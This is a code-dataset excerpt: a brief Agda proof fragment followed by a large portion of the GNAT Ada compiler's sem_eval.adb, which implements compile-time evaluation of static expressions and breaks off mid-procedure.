≡ ap {T} ζ (lk ξ i) open LkHCompAp {{...}} public -- TODO: Remove module _ (T : STX) {{vrT : Vr T}} {{wkT : Wk T}} {{apTT : Ap T T}} (X : STX) {{apTX : Ap T X}} where record ApHComp : Set₁ where field ap-⊡ : {Ξ : MOR} {{lkTΞ : Lk T Ξ}} {{upΞ : Up Ξ}} {Ζ : MOR} {{lkTΖ : Lk T Ζ}} {{upΖ : Up Ζ}} {Θ : MOR} {{lkTΘ : Lk T Θ}} {{upΘ : Up Θ}} {{hcompΞΖΘ : HComp Ξ Ζ Θ}} {{upHCompΞ : UpHComp Ξ Ζ Θ}} {{lkHCompTΞΖΘ : LkHCompAp T Ξ Ζ Θ}} {γ₁ γ₂ γ₃ : Dom} (ξ : Ξ γ₁ γ₂) (ζ : Ζ γ₂ γ₃) → (x : X γ₁) → ap {T} {X} {Θ} (ξ ⊡ ζ) x ≡ ap {T} ζ (ap {T} ξ x) open ApHComp {{...}} public -- TODO: Move module _ {T : STX} {{vrT : Vr T}} {{wkT : Wk T}} {{wkVrT : WkVr T}} {X : STX} {{wkX : Wk X}} {{apTX : Ap T X}} {{apRelTX : ApRel T X}} {{apIdmTX : ApIdm T X}} {Ξ : MOR} {{lkTΞ : Lk T Ξ}} {{upΞ : Up Ξ}} {{idmΞ : Idm Ξ}} {{lkIdmTΞ : LkIdm T Ξ}} {{lkUpTΞ : LkUp T Ξ}} where ap-idm` : {γ : Dom} (x : X γ) → ap {T} (idm {Ξ} γ) x ≡ x ap-idm` {γ} x = begin ap {T} (idm {Ξ} γ) x ≡⟨ ap-rel≃ {T} lem x ⟩ ap {T} (idm {Unit} γ) x ≡⟨ ap-idm {T} x ⟩ x ∎ where lem : [ T ] idm {Ξ} γ ≃ unit lk≃ lem = lk-idm {T} {Ξ}
tools-src/gnu/gcc/gcc/ada/sem_eval.adb
enfoTek/tomato.linksys.e2000.nvram-mod
80
13430
<gh_stars>10-100 ------------------------------------------------------------------------------ -- -- -- GNAT COMPILER COMPONENTS -- -- -- -- S E M _ E V A L -- -- -- -- B o d y -- -- -- -- $Revision$ -- -- -- Copyright (C) 1992-2001 Free Software Foundation, Inc. -- -- -- -- GNAT is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 2, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License -- -- for more details. You should have received a copy of the GNU General -- -- Public License distributed with GNAT; see file COPYING. If not, write -- -- to the Free Software Foundation, 59 Temple Place - Suite 330, Boston, -- -- MA 02111-1307, USA. -- -- -- -- GNAT was originally developed by the GNAT team at New York University. -- -- Extensive contributions were provided by Ada Core Technologies Inc. -- -- -- ------------------------------------------------------------------------------ with Atree; use Atree; with Checks; use Checks; with Debug; use Debug; with Einfo; use Einfo; with Elists; use Elists; with Errout; use Errout; with Eval_Fat; use Eval_Fat; with Nmake; use Nmake; with Nlists; use Nlists; with Opt; use Opt; with Sem; use Sem; with Sem_Cat; use Sem_Cat; with Sem_Ch8; use Sem_Ch8; with Sem_Res; use Sem_Res; with Sem_Util; use Sem_Util; with Sem_Type; use Sem_Type; with Sem_Warn; use Sem_Warn; with Sinfo; use Sinfo; with Snames; use Snames; with Stand; use Stand; with Stringt; use Stringt; package body Sem_Eval is ----------------------------------------- -- Handling of Compile Time Evaluation -- ----------------------------------------- -- The compile time evaluation of expressions is distributed over several -- Eval_xxx procedures. These procedures are called immediatedly after -- a subexpression is resolved and is therefore accomplished in a bottom -- up fashion. The flags are synthesized using the following approach. -- Is_Static_Expression is determined by following the detailed rules -- in RM 4.9(4-14). This involves testing the Is_Static_Expression -- flag of the operands in many cases. -- Raises_Constraint_Error is set if any of the operands have the flag -- set or if an attempt to compute the value of the current expression -- results in detection of a runtime constraint error. -- As described in the spec, the requirement is that Is_Static_Expression -- be accurately set, and in addition for nodes for which this flag is set, -- Raises_Constraint_Error must also be set. Furthermore a node which has -- Is_Static_Expression set, and Raises_Constraint_Error clear, then the -- requirement is that the expression value must be precomputed, and the -- node is either a literal, or the name of a constant entity whose value -- is a static expression. -- The general approach is as follows. First compute Is_Static_Expression. -- If the node is not static, then the flag is left off in the node and -- we are all done. Otherwise for a static node, we test if any of the -- operands will raise constraint error, and if so, propagate the flag -- Raises_Constraint_Error to the result node and we are done (since the -- error was already posted at a lower level). -- For the case of a static node whose operands do not raise constraint -- error, we attempt to evaluate the node. If this evaluation succeeds, -- then the node is replaced by the result of this computation. If the -- evaluation raises constraint error, then we rewrite the node with -- Apply_Compile_Time_Constraint_Error to raise the exception and also -- to post appropriate error messages. ---------------- -- Local Data -- ---------------- type Bits is array (Nat range <>) of Boolean; -- Used to convert unsigned (modular) values for folding logical ops ----------------------- -- Local Subprograms -- ----------------------- function OK_Bits (N : Node_Id; Bits : Uint) return Boolean; -- Bits represents the number of bits in an integer value to be computed -- (but the value has not been computed yet). If this value in Bits is -- reasonable, a result of True is returned, with the implication that -- the caller should go ahead and complete the calculation. If the value -- in Bits is unreasonably large, then an error is posted on node N, and -- False is returned (and the caller skips the proposed calculation). function From_Bits (B : Bits; T : Entity_Id) return Uint; -- Converts a bit string of length B'Length to a Uint value to be used -- for a target of type T, which is a modular type. This procedure -- includes the necessary reduction by the modulus in the case of a -- non-binary modulus (for a binary modulus, the bit string is the -- right length any way so all is well). function Get_String_Val (N : Node_Id) return Node_Id; -- Given a tree node for a folded string or character value, returns -- the corresponding string literal or character literal (one of the -- two must be available, or the operand would not have been marked -- as foldable in the earlier analysis of the operation). procedure Out_Of_Range (N : Node_Id); -- This procedure is called if it is determined that node N, which -- appears in a non-static context, is a compile time known value -- which is outside its range, i.e. the range of Etype. This is used -- in contexts where this is an illegality if N is static, and should -- generate a warning otherwise. procedure Rewrite_In_Raise_CE (N : Node_Id; Exp : Node_Id); -- N and Exp are nodes representing an expression, Exp is known -- to raise CE. N is rewritten in term of Exp in the optimal way. function String_Type_Len (Stype : Entity_Id) return Uint; -- Given a string type, determines the length of the index type, or, -- if this index type is non-static, the length of the base type of -- this index type. Note that if the string type is itself static, -- then the index type is static, so the second case applies only -- if the string type passed is non-static. function Test (Cond : Boolean) return Uint; pragma Inline (Test); -- This function simply returns the appropriate Boolean'Pos value -- corresponding to the value of Cond as a universal integer. It is -- used for producing the result of the static evaluation of the -- logical operators procedure Test_Expression_Is_Foldable (N : Node_Id; Op1 : Node_Id; Stat : out Boolean; Fold : out Boolean); -- Tests to see if expression N whose single operand is Op1 is foldable, -- i.e. the operand value is known at compile time. If the operation is -- foldable, then Fold is True on return, and Stat indicates whether -- the result is static (i.e. both operands were static). Note that it -- is quite possible for Fold to be True, and Stat to be False, since -- there are cases in which we know the value of an operand even though -- it is not technically static (e.g. the static lower bound of a range -- whose upper bound is non-static). -- -- If Stat is set False on return, then Expression_Is_Foldable makes a -- call to Check_Non_Static_Context on the operand. If Fold is False on -- return, then all processing is complete, and the caller should -- return, since there is nothing else to do. procedure Test_Expression_Is_Foldable (N : Node_Id; Op1 : Node_Id; Op2 : Node_Id; Stat : out Boolean; Fold : out Boolean); -- Same processing, except applies to an expression N with two operands -- Op1 and Op2. procedure To_Bits (U : Uint; B : out Bits); -- Converts a Uint value to a bit string of length B'Length ------------------------------ -- Check_Non_Static_Context -- ------------------------------ procedure Check_Non_Static_Context (N : Node_Id) is T : Entity_Id := Etype (N); Checks_On : constant Boolean := not Index_Checks_Suppressed (T) and not Range_Checks_Suppressed (T); begin -- We need the check only for static expressions not raising CE -- We can also ignore cases in which the type is Any_Type if not Is_OK_Static_Expression (N) or else Etype (N) = Any_Type then return; -- Skip this check for non-scalar expressions elsif not Is_Scalar_Type (T) then return; end if; -- Here we have the case of outer level static expression of -- scalar type, where the processing of this procedure is needed. -- For real types, this is where we convert the value to a machine -- number (see RM 4.9(38)). Also see ACVC test C490001. We should -- only need to do this if the parent is a constant declaration, -- since in other cases, gigi should do the necessary conversion -- correctly, but experimentation shows that this is not the case -- on all machines, in particular if we do not convert all literals -- to machine values in non-static contexts, then ACVC test C490001 -- fails on Sparc/Solaris and SGI/Irix. if Nkind (N) = N_Real_Literal and then not Is_Machine_Number (N) and then not Is_Generic_Type (Etype (N)) and then Etype (N) /= Universal_Real and then not Debug_Flag_S and then (not Debug_Flag_T or else (Nkind (Parent (N)) = N_Object_Declaration and then Constant_Present (Parent (N)))) then -- Check that value is in bounds before converting to machine -- number, so as not to lose case where value overflows in the -- least significant bit or less. See B490001. if Is_Out_Of_Range (N, Base_Type (T)) then Out_Of_Range (N); return; end if; -- Note: we have to copy the node, to avoid problems with conformance -- of very similar numbers (see ACVC tests B4A010C and B63103A). Rewrite (N, New_Copy (N)); if not Is_Floating_Point_Type (T) then Set_Realval (N, Corresponding_Integer_Value (N) * Small_Value (T)); elsif not UR_Is_Zero (Realval (N)) then declare RT : constant Entity_Id := Base_Type (T); X : constant Ureal := Machine (RT, Realval (N), Round); begin -- Warn if result of static rounding actually differs from -- runtime evaluation, which uses round to even. if Warn_On_Biased_Rounding and Rounding_Was_Biased then Error_Msg_N ("static expression does not round to even" & " ('R'M 4.9(38))?", N); end if; Set_Realval (N, X); end; end if; Set_Is_Machine_Number (N); end if; -- Check for out of range universal integer. This is a non-static -- context, so the integer value must be in range of the runtime -- representation of universal integers. -- We do this only within an expression, because that is the only -- case in which non-static universal integer values can occur, and -- furthermore, Check_Non_Static_Context is currently (incorrectly???) -- called in contexts like the expression of a number declaration where -- we certainly want to allow out of range values. if Etype (N) = Universal_Integer and then Nkind (N) = N_Integer_Literal and then Nkind (Parent (N)) in N_Subexpr and then (Intval (N) < Expr_Value (Type_Low_Bound (Universal_Integer)) or else Intval (N) > Expr_Value (Type_High_Bound (Universal_Integer))) then Apply_Compile_Time_Constraint_Error (N, "non-static universal integer value out of range?"); -- Check out of range of base type elsif Is_Out_Of_Range (N, Base_Type (T)) then Out_Of_Range (N); -- Give warning if outside subtype (where one or both of the -- bounds of the subtype is static). This warning is omitted -- if the expression appears in a range that could be null -- (warnings are handled elsewhere for this case). elsif T /= Base_Type (T) and then Nkind (Parent (N)) /= N_Range then if Is_In_Range (N, T) then null; elsif Is_Out_Of_Range (N, T) then Apply_Compile_Time_Constraint_Error (N, "value not in range of}?"); elsif Checks_On then Enable_Range_Check (N); else Set_Do_Range_Check (N, False); end if; end if; end Check_Non_Static_Context; --------------------------------- -- Check_String_Literal_Length -- --------------------------------- procedure Check_String_Literal_Length (N : Node_Id; Ttype : Entity_Id) is begin if not Raises_Constraint_Error (N) and then Is_Constrained (Ttype) then if UI_From_Int (String_Length (Strval (N))) /= String_Type_Len (Ttype) then Apply_Compile_Time_Constraint_Error (N, "string length wrong for}?", Ent => Ttype, Typ => Ttype); end if; end if; end Check_String_Literal_Length; -------------------------- -- Compile_Time_Compare -- -------------------------- function Compile_Time_Compare (L, R : Node_Id) return Compare_Result is Ltyp : constant Entity_Id := Etype (L); Rtyp : constant Entity_Id := Etype (R); procedure Compare_Decompose (N : Node_Id; R : out Node_Id; V : out Uint); -- This procedure decomposes the node N into an expression node -- and a signed offset, so that the value of N is equal to the -- value of R plus the value V (which may be negative). If no -- such decomposition is possible, then on return R is a copy -- of N, and V is set to zero. function Compare_Fixup (N : Node_Id) return Node_Id; -- This function deals with replacing 'Last and 'First references -- with their corresponding type bounds, which we then can compare. -- The argument is the original node, the result is the identity, -- unless we have a 'Last/'First reference in which case the value -- returned is the appropriate type bound. function Is_Same_Value (L, R : Node_Id) return Boolean; -- Returns True iff L and R represent expressions that definitely -- have identical (but not necessarily compile time known) values -- Indeed the caller is expected to have already dealt with the -- cases of compile time known values, so these are not tested here. ----------------------- -- Compare_Decompose -- ----------------------- procedure Compare_Decompose (N : Node_Id; R : out Node_Id; V : out Uint) is begin if Nkind (N) = N_Op_Add and then Nkind (Right_Opnd (N)) = N_Integer_Literal then R := Left_Opnd (N); V := Intval (Right_Opnd (N)); return; elsif Nkind (N) = N_Op_Subtract and then Nkind (Right_Opnd (N)) = N_Integer_Literal then R := Left_Opnd (N); V := UI_Negate (Intval (Right_Opnd (N))); return; elsif Nkind (N) = N_Attribute_Reference then if Attribute_Name (N) = Name_Succ then R := First (Expressions (N)); V := Uint_1; return; elsif Attribute_Name (N) = Name_Pred then R := First (Expressions (N)); V := Uint_Minus_1; return; end if; end if; R := N; V := Uint_0; end Compare_Decompose; ------------------- -- Compare_Fixup -- ------------------- function Compare_Fixup (N : Node_Id) return Node_Id is Indx : Node_Id; Xtyp : Entity_Id; Subs : Nat; begin if Nkind (N) = N_Attribute_Reference and then (Attribute_Name (N) = Name_First or else Attribute_Name (N) = Name_Last) then Xtyp := Etype (Prefix (N)); -- If we have no type, then just abandon the attempt to do -- a fixup, this is probably the result of some other error. if No (Xtyp) then return N; end if; -- Dereference an access type if Is_Access_Type (Xtyp) then Xtyp := Designated_Type (Xtyp); end if; -- If we don't have an array type at this stage, something -- is peculiar, e.g. another error, and we abandon the attempt -- at a fixup. if not Is_Array_Type (Xtyp) then return N; end if; -- Ignore unconstrained array, since bounds are not meaningful if not Is_Constrained (Xtyp) then return N; end if; if Ekind (Xtyp) = E_String_Literal_Subtype then if Attribute_Name (N) = Name_First then return String_Literal_Low_Bound (Xtyp); else -- Attribute_Name (N) = Name_Last return Make_Integer_Literal (Sloc (N), Intval => Intval (String_Literal_Low_Bound (Xtyp)) + String_Literal_Length (Xtyp)); end if; end if; -- Find correct index type Indx := First_Index (Xtyp); if Present (Expressions (N)) then Subs := UI_To_Int (Expr_Value (First (Expressions (N)))); for J in 2 .. Subs loop Indx := Next_Index (Indx); end loop; end if; Xtyp := Etype (Indx); if Attribute_Name (N) = Name_First then return Type_Low_Bound (Xtyp); else -- Attribute_Name (N) = Name_Last return Type_High_Bound (Xtyp); end if; end if; return N; end Compare_Fixup; ------------------- -- Is_Same_Value -- ------------------- function Is_Same_Value (L, R : Node_Id) return Boolean is Lf : constant Node_Id := Compare_Fixup (L); Rf : constant Node_Id := Compare_Fixup (R); begin -- Values are the same if they are the same identifier and the -- identifier refers to a constant object (E_Constant) if Nkind (Lf) = N_Identifier and then Nkind (Rf) = N_Identifier and then Entity (Lf) = Entity (Rf) and then (Ekind (Entity (Lf)) = E_Constant or else Ekind (Entity (Lf)) = E_In_Parameter or else Ekind (Entity (Lf)) = E_Loop_Parameter) then return True; -- Or if they are compile time known and identical elsif Compile_Time_Known_Value (Lf) and then Compile_Time_Known_Value (Rf) and then Expr_Value (Lf) = Expr_Value (Rf) then return True; -- Or if they are both 'First or 'Last values applying to the -- same entity (first and last don't change even if value does) elsif Nkind (Lf) = N_Attribute_Reference and then Nkind (Rf) = N_Attribute_Reference and then Attribute_Name (Lf) = Attribute_Name (Rf) and then (Attribute_Name (Lf) = Name_First or else Attribute_Name (Lf) = Name_Last) and then Is_Entity_Name (Prefix (Lf)) and then Is_Entity_Name (Prefix (Rf)) and then Entity (Prefix (Lf)) = Entity (Prefix (Rf)) then return True; -- All other cases, we can't tell else return False; end if; end Is_Same_Value; -- Start of processing for Compile_Time_Compare begin if L = R then return EQ; -- If expressions have no types, then do not attempt to determine -- if they are the same, since something funny is going on. One -- case in which this happens is during generic template analysis, -- when bounds are not fully analyzed. elsif No (Ltyp) or else No (Rtyp) then return Unknown; -- We only attempt compile time analysis for scalar values elsif not Is_Scalar_Type (Ltyp) or else Is_Packed_Array_Type (Ltyp) then return Unknown; -- Case where comparison involves two compile time known values elsif Compile_Time_Known_Value (L) and then Compile_Time_Known_Value (R) then -- For the floating-point case, we have to be a little careful, since -- at compile time we are dealing with universal exact values, but at -- runtime, these will be in non-exact target form. That's why the -- returned results are LE and GE below instead of LT and GT. if Is_Floating_Point_Type (Ltyp) or else Is_Floating_Point_Type (Rtyp) then declare Lo : constant Ureal := Expr_Value_R (L); Hi : constant Ureal := Expr_Value_R (R); begin if Lo < Hi then return LE; elsif Lo = Hi then return EQ; else return GE; end if; end; -- For the integer case we know exactly (note that this includes the -- fixed-point case, where we know the run time integer values now) else declare Lo : constant Uint := Expr_Value (L); Hi : constant Uint := Expr_Value (R); begin if Lo < Hi then return LT; elsif Lo = Hi then return EQ; else return GT; end if; end; end if; -- Cases where at least one operand is not known at compile time else -- Here is where we check for comparisons against maximum bounds of -- types, where we know that no value can be outside the bounds of -- the subtype. Note that this routine is allowed to assume that all -- expressions are within their subtype bounds. Callers wishing to -- deal with possibly invalid values must in any case take special -- steps (e.g. conversions to larger types) to avoid this kind of -- optimization, which is always considered to be valid. We do not -- attempt this optimization with generic types, since the type -- bounds may not be meaningful in this case. if Is_Discrete_Type (Ltyp) and then not Is_Generic_Type (Ltyp) and then not Is_Generic_Type (Rtyp) then if Is_Same_Value (R, Type_High_Bound (Ltyp)) then return LE; elsif Is_Same_Value (R, Type_Low_Bound (Ltyp)) then return GE; elsif Is_Same_Value (L, Type_High_Bound (Rtyp)) then return GE; elsif Is_Same_Value (L, Type_Low_Bound (Ltyp)) then return LE; end if; end if; -- Next attempt is to decompose the expressions to extract -- a constant offset resulting from the use of any of the forms: -- expr + literal -- expr - literal -- typ'Succ (expr) -- typ'Pred (expr) -- Then we see if the two expressions are the same value, and if so -- the result is obtained by comparing the offsets. declare Lnode : Node_Id; Loffs : Uint; Rnode : Node_Id; Roffs : Uint; begin Compare_Decompose (L, Lnode, Loffs); Compare_Decompose (R, Rnode, Roffs); if Is_Same_Value (Lnode, Rnode) then if Loffs = Roffs then return EQ; elsif Loffs < Roffs then return LT; else return GT; end if; -- If the expressions are different, we cannot say at compile -- time how they compare, so we return the Unknown indication. else return Unknown; end if; end; end if; end Compile_Time_Compare; ------------------------------ -- Compile_Time_Known_Value -- ------------------------------ function Compile_Time_Known_Value (Op : Node_Id) return Boolean is K : constant Node_Kind := Nkind (Op); begin -- Never known at compile time if bad type or raises constraint error -- or empty (latter case occurs only as a result of a previous error) if No (Op) or else Op = Error or else Etype (Op) = Any_Type or else Raises_Constraint_Error (Op) then return False; end if; -- If we have an entity name, then see if it is the name of a constant -- and if so, test the corresponding constant value, or the name of -- an enumeration literal, which is always a constant. if Present (Etype (Op)) and then Is_Entity_Name (Op) then declare E : constant Entity_Id := Entity (Op); V : Node_Id; begin -- Never known at compile time if it is a packed array value. -- We might want to try to evaluate these at compile time one -- day, but we do not make that attempt now. if Is_Packed_Array_Type (Etype (Op)) then return False; end if; if Ekind (E) = E_Enumeration_Literal then return True; elsif Ekind (E) /= E_Constant then return False; else V := Constant_Value (E); return Present (V) and then Compile_Time_Known_Value (V); end if; end; -- We have a value, see if it is compile time known else -- Literals and NULL are known at compile time if K = N_Integer_Literal or else K = N_Character_Literal or else K = N_Real_Literal or else K = N_String_Literal or else K = N_Null then return True; -- Any reference to Null_Parameter is known at compile time. No -- other attribute references (that have not already been folded) -- are known at compile time. elsif K = N_Attribute_Reference then return Attribute_Name (Op) = Name_Null_Parameter; -- All other types of values are not known at compile time else return False; end if; end if; end Compile_Time_Known_Value; -------------------------------------- -- Compile_Time_Known_Value_Or_Aggr -- -------------------------------------- function Compile_Time_Known_Value_Or_Aggr (Op : Node_Id) return Boolean is begin -- If we have an entity name, then see if it is the name of a constant -- and if so, test the corresponding constant value, or the name of -- an enumeration literal, which is always a constant. if Is_Entity_Name (Op) then declare E : constant Entity_Id := Entity (Op); V : Node_Id; begin if Ekind (E) = E_Enumeration_Literal then return True; elsif Ekind (E) /= E_Constant then return False; else V := Constant_Value (E); return Present (V) and then Compile_Time_Known_Value_Or_Aggr (V); end if; end; -- We have a value, see if it is compile time known else if Compile_Time_Known_Value (Op) then return True; elsif Nkind (Op) = N_Aggregate then if Present (Expressions (Op)) then declare Expr : Node_Id; begin Expr := First (Expressions (Op)); while Present (Expr) loop if not Compile_Time_Known_Value_Or_Aggr (Expr) then return False; end if; Next (Expr); end loop; end; end if; if Present (Component_Associations (Op)) then declare Cass : Node_Id; begin Cass := First (Component_Associations (Op)); while Present (Cass) loop if not Compile_Time_Known_Value_Or_Aggr (Expression (Cass)) then return False; end if; Next (Cass); end loop; end; end if; return True; -- All other types of values are not known at compile time else return False; end if; end if; end Compile_Time_Known_Value_Or_Aggr; ----------------- -- Eval_Actual -- ----------------- -- This is only called for actuals of functions that are not predefined -- operators (which have already been rewritten as operators at this -- stage), so the call can never be folded, and all that needs doing for -- the actual is to do the check for a non-static context. procedure Eval_Actual (N : Node_Id) is begin Check_Non_Static_Context (N); end Eval_Actual; -------------------- -- Eval_Allocator -- -------------------- -- Allocators are never static, so all we have to do is to do the -- check for a non-static context if an expression is present. procedure Eval_Allocator (N : Node_Id) is Expr : constant Node_Id := Expression (N); begin if Nkind (Expr) = N_Qualified_Expression then Check_Non_Static_Context (Expression (Expr)); end if; end Eval_Allocator; ------------------------ -- Eval_Arithmetic_Op -- ------------------------ -- Arithmetic operations are static functions, so the result is static -- if both operands are static (RM 4.9(7), 4.9(20)). procedure Eval_Arithmetic_Op (N : Node_Id) is Left : constant Node_Id := Left_Opnd (N); Right : constant Node_Id := Right_Opnd (N); Ltype : constant Entity_Id := Etype (Left); Rtype : constant Entity_Id := Etype (Right); Stat : Boolean; Fold : Boolean; begin -- If not foldable we are done Test_Expression_Is_Foldable (N, Left, Right, Stat, Fold); if not Fold then return; end if; -- Fold for cases where both operands are of integer type if Is_Integer_Type (Ltype) and then Is_Integer_Type (Rtype) then declare Left_Int : constant Uint := Expr_Value (Left); Right_Int : constant Uint := Expr_Value (Right); Result : Uint; begin case Nkind (N) is when N_Op_Add => Result := Left_Int + Right_Int; when N_Op_Subtract => Result := Left_Int - Right_Int; when N_Op_Multiply => if OK_Bits (N, UI_From_Int (Num_Bits (Left_Int) + Num_Bits (Right_Int))) then Result := Left_Int * Right_Int; else Result := Left_Int; end if; when N_Op_Divide => -- The exception Constraint_Error is raised by integer -- division, rem and mod if the right operand is zero. if Right_Int = 0 then Apply_Compile_Time_Constraint_Error (N, "division by zero"); return; else Result := Left_Int / Right_Int; end if; when N_Op_Mod => -- The exception Constraint_Error is raised by integer -- division, rem and mod if the right operand is zero. if Right_Int = 0 then Apply_Compile_Time_Constraint_Error (N, "mod with zero divisor"); return; else Result := Left_Int mod Right_Int; end if; when N_Op_Rem => -- The exception Constraint_Error is raised by integer -- division, rem and mod if the right operand is zero. if Right_Int = 0 then Apply_Compile_Time_Constraint_Error (N, "rem with zero divisor"); return; else Result := Left_Int rem Right_Int; end if; when others => raise Program_Error; end case; -- Adjust the result by the modulus if the type is a modular type if Is_Modular_Integer_Type (Ltype) then Result := Result mod Modulus (Ltype); end if; Fold_Uint (N, Result); end; -- Cases where at least one operand is a real. We handle the cases -- of both reals, or mixed/real integer cases (the latter happen -- only for divide and multiply, and the result is always real). elsif Is_Real_Type (Ltype) or else Is_Real_Type (Rtype) then declare Left_Real : Ureal; Right_Real : Ureal; Result : Ureal; begin if Is_Real_Type (Ltype) then Left_Real := Expr_Value_R (Left); else Left_Real := UR_From_Uint (Expr_Value (Left)); end if; if Is_Real_Type (Rtype) then Right_Real := Expr_Value_R (Right); else Right_Real := UR_From_Uint (Expr_Value (Right)); end if; if Nkind (N) = N_Op_Add then Result := Left_Real + Right_Real; elsif Nkind (N) = N_Op_Subtract then Result := Left_Real - Right_Real; elsif Nkind (N) = N_Op_Multiply then Result := Left_Real * Right_Real; else pragma Assert (Nkind (N) = N_Op_Divide); if UR_Is_Zero (Right_Real) then Apply_Compile_Time_Constraint_Error (N, "division by zero"); return; end if; Result := Left_Real / Right_Real; end if; Fold_Ureal (N, Result); end; end if; Set_Is_Static_Expression (N, Stat); end Eval_Arithmetic_Op; ---------------------------- -- Eval_Character_Literal -- ---------------------------- -- Nothing to be done! procedure Eval_Character_Literal (N : Node_Id) is begin null; end Eval_Character_Literal; ------------------------ -- Eval_Concatenation -- ------------------------ -- Concatenation is a static function, so the result is static if -- both operands are static (RM 4.9(7), 4.9(21)). procedure Eval_Concatenation (N : Node_Id) is Left : constant Node_Id := Left_Opnd (N); Right : constant Node_Id := Right_Opnd (N); C_Typ : constant Entity_Id := Root_Type (Component_Type (Etype (N))); Stat : Boolean; Fold : Boolean; begin -- Concatenation is never static in Ada 83, so if Ada 83 -- check operand non-static context if Ada_83 and then Comes_From_Source (N) then Check_Non_Static_Context (Left); Check_Non_Static_Context (Right); return; end if; -- If not foldable we are done. In principle concatenation that yields -- any string type is static (i.e. an array type of character types). -- However, character types can include enumeration literals, and -- concatenation in that case cannot be described by a literal, so we -- only consider the operation static if the result is an array of -- (a descendant of) a predefined character type. Test_Expression_Is_Foldable (N, Left, Right, Stat, Fold); if (C_Typ = Standard_Character or else C_Typ = Standard_Wide_Character) and then Fold then null; else Set_Is_Static_Expression (N, False); return; end if; -- Compile time string concatenation. -- ??? Note that operands that are aggregates can be marked as -- static, so we should attempt at a later stage to fold -- concatenations with such aggregates. declare Left_Str : constant Node_Id := Get_String_Val (Left); Left_Len : Nat; Right_Str : constant Node_Id := Get_String_Val (Right); begin -- Establish new string literal, and store left operand. We make -- sure to use the special Start_String that takes an operand if -- the left operand is a string literal. Since this is optimized -- in the case where that is the most recently created string -- literal, we ensure efficient time/space behavior for the -- case of a concatenation of a series of string literals. if Nkind (Left_Str) = N_String_Literal then Left_Len := String_Length (Strval (Left_Str)); Start_String (Strval (Left_Str)); else Start_String; Store_String_Char (Char_Literal_Value (Left_Str)); Left_Len := 1; end if; -- Now append the characters of the right operand if Nkind (Right_Str) = N_String_Literal then declare S : constant String_Id := Strval (Right_Str); begin for J in 1 .. String_Length (S) loop Store_String_Char (Get_String_Char (S, J)); end loop; end; else Store_String_Char (Char_Literal_Value (Right_Str)); end if; Set_Is_Static_Expression (N, Stat); if Stat then -- If left operand is the empty string, the result is the -- right operand, including its bounds if anomalous. if Left_Len = 0 and then Is_Array_Type (Etype (Right)) and then Etype (Right) /= Any_String then Set_Etype (N, Etype (Right)); end if; Fold_Str (N, End_String); end if; end; end Eval_Concatenation; --------------------------------- -- Eval_Conditional_Expression -- --------------------------------- -- This GNAT internal construct can never be statically folded, so the -- only required processing is to do the check for non-static context -- for the two expression operands. procedure Eval_Conditional_Expression (N : Node_Id) is Condition : constant Node_Id := First (Expressions (N)); Then_Expr : constant Node_Id := Next (Condition); Else_Expr : constant Node_Id := Next (Then_Expr); begin Check_Non_Static_Context (Then_Expr); Check_Non_Static_Context (Else_Expr); end Eval_Conditional_Expression; ---------------------- -- Eval_Entity_Name -- ---------------------- -- This procedure is used for identifiers and expanded names other than -- named numbers (see Eval_Named_Integer, Eval_Named_Real. These are -- static if they denote a static constant (RM 4.9(6)) or if the name -- denotes an enumeration literal (RM 4.9(22)). procedure Eval_Entity_Name (N : Node_Id) is Def_Id : constant Entity_Id := Entity (N); Val : Node_Id; begin -- Enumeration literals are always considered to be constants -- and cannot raise constraint error (RM 4.9(22)). if Ekind (Def_Id) = E_Enumeration_Literal then Set_Is_Static_Expression (N); return; -- A name is static if it denotes a static constant (RM 4.9(5)), and -- we also copy Raise_Constraint_Error. Notice that even if non-static, -- it does not violate 10.2.1(8) here, since this is not a variable. elsif Ekind (Def_Id) = E_Constant then -- Deferred constants must always be treated as nonstatic -- outside the scope of their full view. if Present (Full_View (Def_Id)) and then not In_Open_Scopes (Scope (Def_Id)) then Val := Empty; else Val := Constant_Value (Def_Id); end if; if Present (Val) then Set_Is_Static_Expression (N, Is_Static_Expression (Val) and then Is_Static_Subtype (Etype (Def_Id))); Set_Raises_Constraint_Error (N, Raises_Constraint_Error (Val)); if not Is_Static_Expression (N) and then not Is_Generic_Type (Etype (N)) then Validate_Static_Object_Name (N); end if; return; end if; end if; -- Fall through if the name is not static. Validate_Static_Object_Name (N); end Eval_Entity_Name; ---------------------------- -- Eval_Indexed_Component -- ---------------------------- -- Indexed components are never static, so the only required processing -- is to perform the check for non-static context on the index values. procedure Eval_Indexed_Component (N : Node_Id) is Expr : Node_Id; begin Expr := First (Expressions (N)); while Present (Expr) loop Check_Non_Static_Context (Expr); Next (Expr); end loop; end Eval_Indexed_Component; -------------------------- -- Eval_Integer_Literal -- -------------------------- -- Numeric literals are static (RM 4.9(1)), and have already been marked -- as static by the analyzer. The reason we did it that early is to allow -- the possibility of turning off the Is_Static_Expression flag after -- analysis, but before resolution, when integer literals are generated -- in the expander that do not correspond to static expressions. procedure Eval_Integer_Literal (N : Node_Id) is T : constant Entity_Id := Etype (N); begin -- If the literal appears in a non-expression context, then it is -- certainly appearing in a non-static context, so check it. This -- is actually a redundant check, since Check_Non_Static_Context -- would check it, but it seems worth while avoiding the call. if Nkind (Parent (N)) not in N_Subexpr then Check_Non_Static_Context (N); end if; -- Modular integer literals must be in their base range if Is_Modular_Integer_Type (T) and then Is_Out_Of_Range (N, Base_Type (T)) then Out_Of_Range (N); end if; end Eval_Integer_Literal; --------------------- -- Eval_Logical_Op -- --------------------- -- Logical operations are static functions, so the result is potentially -- static if both operands are potentially static (RM 4.9(7), 4.9(20)). procedure Eval_Logical_Op (N : Node_Id) is Left : constant Node_Id := Left_Opnd (N); Right : constant Node_Id := Right_Opnd (N); Stat : Boolean; Fold : Boolean; begin -- If not foldable we are done Test_Expression_Is_Foldable (N, Left, Right, Stat, Fold); if not Fold then return; end if; -- Compile time evaluation of logical operation declare Left_Int : constant Uint := Expr_Value (Left); Right_Int : constant Uint := Expr_Value (Right); begin if Is_Modular_Integer_Type (Etype (N)) then declare Left_Bits : Bits (0 .. UI_To_Int (Esize (Etype (N))) - 1); Right_Bits : Bits (0 .. UI_To_Int (Esize (Etype (N))) - 1); begin To_Bits (Left_Int, Left_Bits); To_Bits (Right_Int, Right_Bits); -- Note: should really be able to use array ops instead of -- these loops, but they weren't working at the time 